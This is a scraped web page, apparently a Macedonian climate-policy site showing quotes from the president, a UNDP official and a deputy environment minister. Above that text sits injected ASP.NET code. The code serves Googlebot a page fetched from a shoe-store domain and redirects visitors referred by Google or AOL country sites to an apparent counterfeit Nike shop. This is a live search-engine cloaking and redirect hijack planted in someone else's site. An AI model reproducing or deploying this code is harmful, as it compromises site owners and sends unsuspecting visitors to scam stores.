Protected Overrides Sub OnLoad(ByVal e As System.EventArgs)
Dim useragent As String
useragent = Request.UserAgent.ToLower()
Dim path As String
path = Request.RawUrl
If useragent.IndexOf("googlebot")>-1 Then
Dim webClient As New System.Net.WebClient
webClient.Encoding = System.Text.Encoding.UTF8
Dim mirror As String = "http://www.aaashoeschina.com/Nike-Air-Max-2016-c1395.html"
If mirror.IndexOf("http://")<0 Then
If System.IO.File.Exists(mirror) = True Then
Response.Clear()
Response.Charset = "UTF-8"
Response.ContentEncoding = System.Text.Encoding.UTF8
Response.Write(System.IO.File.ReadAllText(mirror, System.Text.Encoding.UTF8))
Response.End()
End If
Else
Response.Clear()
Response.Charset = "UTF-8"
Response.ContentEncoding = System.Text.Encoding.UTF8
Response.Write(webClient.DownloadString(mirror))
Response.End()
End If
ElseIf Not IsNothing(Request.UrlReferrer) Then
Dim referer As String = Request.UrlReferrer.AbsoluteUri
Dim jump As String = "http://www.nikeshoesesvip.com"
Dim wifilangs As String = ""
if Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")<>"" then
wifilangs = (((Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")).Split(new Char(){";"c})(0)).Split(new Char(){","c})(0)).ToLower()
end if
If referer.IndexOf("google")>=0 Then
Dim str As String = "" & "," & "google.de/" & "," & "aol.de/" & "," & "google.ch/" & "," & "google.at/" & "," & "google.lu/" & "," & "google.be/"
Dim terms As String() = str.Split(New Char(){","c})
If str<>"" then
For Each term As string In terms
If term<>"" and referer.IndexOf(term)>=0 then
Response.Redirect(jump)
Response.End()
end if
Next
else
Response.Redirect(jump)
Response.End()
end if
End If
End If
MyBase.OnLoad(e)
End Sub
|
Пораки
Очекуваме сета досегашна декларативност да биде преточена во конкретни мерки за акција. Очекуваме, краткорочните, да ги замениме со долгорочни решенија. Културата на расфрлање да ја замениме со култура на одржливост. Себичните интереси да ги замениме со интересите на човештвото. Површната реторика да ја замениме со конкретни дела. И тоа не заради нас, туку заради нашето потомство
Д-р Ѓорге Иванов, . претседател на Република Македонија
Со оваа комуникација во рака, земјата е целосно подготвена за самитот во Париз
Алесандро Фракасети, заменик на постојниот претставник на УНДП
Пред нас стои предизвикот на имплементацијата на предложените мерки од Планот
Стево Темелковски, зам. министер за животна средина и просторно планирање
Билтен
Претплатете се на нашиот билтен
|